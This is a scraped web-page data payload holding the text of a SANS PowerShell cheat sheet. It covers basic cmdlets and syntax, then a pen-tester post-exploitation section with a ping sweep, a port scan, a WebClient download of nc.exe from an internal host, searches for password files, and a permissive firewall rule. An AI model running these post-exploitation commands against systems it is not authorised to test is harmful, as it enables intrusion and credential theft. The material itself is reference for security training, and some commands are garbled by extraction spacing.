[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"detail-sidebar-cat-1-en-105":3,"doc-seo-572382-105":53,"doc-detail-572382-en":127},{"code":4,"msg":5,"data":6},0,"success",[7,14,19,24,29,34,39,44,49],{"id":8,"doc_module":9,"doc_module_name":10,"category_name":11,"show_sort_weight":12,"slug":13},11,1,"Template","Presentations",90,"presentations",{"id":15,"doc_module":9,"doc_module_name":10,"category_name":16,"show_sort_weight":17,"slug":18},12,"Resumes",80,"resumes",{"id":20,"doc_module":9,"doc_module_name":10,"category_name":21,"show_sort_weight":22,"slug":23},14,"Invoices",70,"invoices",{"id":25,"doc_module":9,"doc_module_name":10,"category_name":26,"show_sort_weight":27,"slug":28},15,"Posters",60,"posters",{"id":30,"doc_module":9,"doc_module_name":10,"category_name":31,"show_sort_weight":32,"slug":33},16,"Social Media",50,"social-media",{"id":35,"doc_module":9,"doc_module_name":10,"category_name":36,"show_sort_weight":37,"slug":38},17,"Forms",40,"forms",{"id":40,"doc_module":9,"doc_module_name":10,"category_name":41,"show_sort_weight":42,"slug":43},18,"Letters",30,"letters",{"id":45,"doc_module":9,"doc_module_name":10,"category_name":46,"show_sort_weight":47,"slug":48},21,"Paper Templates",5,"papers-templates",{"id":50,"doc_module":9,"doc_module_name":10,"category_name":51,"show_sort_weight":4,"slug":52},158,"General","general-158",{"code":4,"msg":54,"data":55},"ok",{"site_id":56,"language":57,"slug":58,"title":59,"keywords":60,"description":61,"schema_data":62,"social_meta":120,"head_meta":122,"extra_data":124,"updated_unix":126},105,"en","sans-powershell-cheat-sheet-quick-reference","SANS PowerShell Cheat Sheet - Quick Reference","","SANS PowerShell Cheat Sheet provides practical guidance for using Microsoft PowerShell with common command-line tasks and reusable cmdlet patterns. It explains how PowerShell differs from older Windows command shells, how to launch both normal and elevated sessions, and how verb-noun cmdlet syntax works with parameters. The sheet then lists frequently used cmdlets for file operations, text searching, process and service discovery, output formatting, pagination, hashing, CSV export, and Windows registry and firewall management, followed by security-focused post-exploitation techniques.",{"@graph":63,"@context":119},[64,80,102],{"@type":65,"itemListElement":66},"BreadcrumbList",[67,71,74,77],{"item":68,"name":69,"@type":70,"position":9},"https://docshare.wps.com","Home","ListItem",{"item":72,"name":10,"@type":70,"position":73},"https://docshare.wps.com/template/",2,{"item":75,"name":11,"@type":70,"position":76},"https://docshare.wps.com/template/presentations/",3,{"item":78,"name":59,"@type":70,"position":79},"https://docshare.wps.com/template/sans-powershell-cheat-sheet-quick-reference/572382/",4,{"url":78,"name":59,"@type":81,"image":82,"author":87,"headline":59,"publisher":90,"fileFormat":93,"inLanguage":57,"description":61,"dateModified":94,"datePublished":95,"encodingFormat":93,"isAccessibleForFree":96,"interactionStatistic":97},"DigitalDocument",{"url":83,"@type":84,"width":85,"height":86},"https://docshare.wps.com/thumbnails/sans-powershell-cheat-sheet-quick-reference/572382.png","ImageObject",442,249,{"name":88,"@type":89},"Grenda","Person",{"url":68,"name":91,"@type":92},"DocShare","Organization","application/pdf","2026-10-22","2026-10-13",true,{"@type":98,"interactionType":99,"userInteractionCount":101},"InteractionCounter",{"@type":100},"ViewAction",7,{"@type":103,"mainEntity":104},"FAQPage",[105,111,115],{"name":106,"@type":107,"acceptedAnswer":108},"How do you start PowerShell and when do you use an elevated session?","Question",{"text":109,"@type":110},"Open PowerShell by typing powershell from the Start menu. For operations requiring administrative privileges, launch an elevated PowerShell using Start, powershell, then Shift-CTRL-Enter.","Answer",{"name":112,"@type":107,"acceptedAnswer":113},"What are common cmdlets for listing files, copying, and searching text?",{"text":114,"@type":110},"Use Get-ChildItem (ls/dir/gci) to list directories, Copy-Item (cp/copy/cpi) to copy files, and Select-String to find matching text within files.",{"name":116,"@type":107,"acceptedAnswer":117},"How can PowerShell help with penetration testing post-exploitation tasks in this cheat sheet?",{"text":118,"@type":110},"The sheet includes example commands for conducting ping sweeps, performing port scans, downloading files over HTTP using a WebClient, and enumerating files by name and installed Hotfixes.","https://schema.org",{"og:url":78,"og:type":121,"og:title":59,"og:site_name":91,"og:description":61},"article",{"robots":123,"canonical":78},"index,follow",{"doc_id":125,"site_id":56},572382,1792014491,{"code":4,"msg":5,"data":128},{"doc_id":125,"user_id":129,"nickname":88,"user_avatar":130,"doc_module":9,"category_id":8,"category_name":11,"doc_title":59,"doc_description":61,"doc_content":131,"file_id":132,"file_url":133,"file_type":134,"file_size":135,"view_count":101,"is_deleted":4,"is_public":9,"is_downloadable":9,"audit_status":9,"page_count":136,"language":137,"language_code":57,"site_id":56,"html_lang":57,"table_of_contents":138,"faqs":139,"seo_title":140,"seo_description":61,"update_tm":141,"read_time":76},7971474921005,"https://ap-avatar.wpscdn.com/davatar_29158cc5080c5b710cf443261637dec0","SANS PowerShell Cheat Sheet  \nPurpose  \nThe purpose of this cheat sheet is to describe some common options and techniques for use in Microsoft’s PowerShell.  \nPowerShell Overview  \nPowerShell Background  \nPowerShell is the successor to command.com, cmd.exe and cscript. Initially released as a separate download, it is now built in to all modern versions of Microsoft Windows.  \nPowerShell syntax takes the form of verb-noun patterns implemented in cmdlets.  \nLaunching PowerShell  \nPowerShell is accessed by pressing Start- > typing powershell and pressing enter. Some operations require administrative privileges and can be accomplished by launching PowerShell as an elevated session. You can launch an elevated PowerShell by pressing Start- > typing powershell and pressing Shift-CTRL-Enter.  \nAdditionally, PowerShell cmdlets can be called from cmd.exe by typing:  \nC:\\> powershell -c \" \u003C command> \"  \nUseful Cmdlets (and aliases)  \nGet a directory listing (ls, dir, gci):  \nPS C:\\> Get-ChildItem  \nCopy a file (cp, copy, cpi):  \nPS C:\\> Copy-Item s rc .txt dst .txt  \nMove a file (mv, move, mi):  \nPS C:\\> Move-Item s rc .txt dst .txt  \nFind text within a file:  \nPS C:\\> Select-String –path c:\\ users\\ * .txt –pattern password  \nPS C:\\> ls -r c:\\ users\\ * .txt -file | % { Select-String -path $ _ -pattern password}  \nDisplay file contents (cat, type, gc):  \nPS C:\\> Get-Content file .txt  \nGet present directory (pwd, gl):  \nPS C:\\> Get-Location  \nGet a process listing (ps, gps):  \nPS C:\\> Get-Process  \nGet a service listing:  \nPS C:\\> Get-Service  \nFormatting output of a command (Format-List):  \nPS C:\\> ls | Format-List –property name  \nPaginating output:  \nPS C:\\> ls –r | Out-Host -paging  \nGet the SHA1 hash of a file:  \nPS C:\\> Get-FileHash -Algorithm SHA1 file .txt  \nExporting output to CSV:  \nPS C:\\> Get-Process | Export-Csv procs .csv  \nPowerShell for Pen-Tester Post-Exploitation  \nConduct a ping sweep:  \nPS C:\\> 1 . .255 | % { echo \" 10 .10 .10 .$ _ \" ;ping -n 1 -w 100 10 .10 .10 .$ _ | Select-String ttl}  \nConduct a port scan:  \nPS C:\\> 1 . .1024 | % { echo ((new-object  \nNet .Sockets .TcpClient) .Connect ( \" 10 .10 .10 .10 \" , $ _ )) \" Port $ _ is open ! \" } 2>$ null  \nFetch a file via [HTTP](HTTP) (wget in PowerShell):  \nPS C:\\> ( New-Object  \nSystem.Net.WebClient).DownloadFile(\"[http://10.10.10.10/nc.exe](http://10.10.10.10/nc.exe)\",\"nc .exe \" )  \nFind all files with a particular name:  \nPS C:\\> Get-ChildItem \"C:\\ Users\\ \" -recurse -include * passwords* .txt  \nGet a listing of all installed Microsoft Hotfixes:  \nPS C:\\> Get-Hot Fix  \nNavigate the Windows registry:  \nPS C:\\> cd HKLM:\\  \nPS HKLM:\\> ls  \nList programs set to start automatically in the registry:  \nPS C:\\> Get-ItemProperty  \nHKLM:\\ SOFTWARE\\Microsoft\\Windows\\ CurrentVersion\\ run  \nConvert string from ascii to Base64:  \nPS C:\\>  \n[ System .Convert] : :ToBase64String([System .Text . Encoding] : : UTF8 .Get Bytes ( \" PSFTW ! \" ))  \nList and modify the Windows firewall rules:  \nPS C:\\> Get-Net FirewallRule –all  \nPS C:\\> New-Net FirewallRule -Action Allow -DisplayName LetMeIn RemoteAddress 10 .10 .10 .25  \nSyntax  \nCmdlets are small scripts that follow a dashseparated verb-noun convention such as \"Get-Process \".  \nSimilar Verbs with Different Actions:  \n New-Creates a new resource  \n Set-Modifies an existing resource  \n Get-Retrieves an existing resource  \n Read-Gets information from a source, such as a file  \n Find-Used to look for an object  \n Search-Used to create a reference to a resource  \n Start- (asynchronous) begin an operation, such as starting a process  \n Invoke- (synchronous) perform an operation such as running a command  \nParameters:  \nEach verb-noun named cmdlet may have many parameters to control cmdlet functionality.  \nObjects:  \nThe output of most cmdlets are objects that can be passed to other cmdlets and further acted upon. This becomes important in pipelining cmdlets.  \nFinding Cmdlets  \nTo get a list of all available cmdlets:  \nPS C:\\> Get-Command  \nGet","cbCaims9thjX22Gh","https://ap.wps.com/l/cbCaims9thjX22Gh","pdf",112387,9,"English","# Purpose\n# PowerShell Overview\n## Launching PowerShell\n# Useful Cmdlets (and aliases)\n## File and Text Operations\n## Processes, Services, and Location\n## Output Formatting and Paging\n## Hashing and CSV Export\n# PowerShell for Pen-Tester Post-Exploitation\n## Ping sweep and port scanning\n## Downloading files over HTTP\n## Hotfix listing and registry navigation\n# Syntax and Usage\n## Cmdlet verb-noun convention\n## Parameters and Objects\n## Finding Cmdlets and Getting Help\n# Efficient PowerShell","[{\"question\":\"How do you start PowerShell and when do you use an elevated session?\",\"answer\":\"Open PowerShell by typing powershell from the Start menu. For operations requiring administrative privileges, launch an elevated PowerShell using Start, powershell, then Shift-CTRL-Enter.\"},{\"question\":\"What are common cmdlets for listing files, copying, and searching text?\",\"answer\":\"Use Get-ChildItem (ls/dir/gci) to list directories, Copy-Item (cp/copy/cpi) to copy files, and Select-String to find matching text within files.\"},{\"question\":\"How can PowerShell help with penetration testing post-exploitation tasks in this cheat sheet?\",\"answer\":\"The sheet includes example commands for conducting ping sweeps, performing port scans, downloading files over HTTP using a WebClient, and enumerating files by name and installed Hotfixes.\"}]","SANS PowerShell Cheat Sheet - Quick Reference | PDF",1791927088]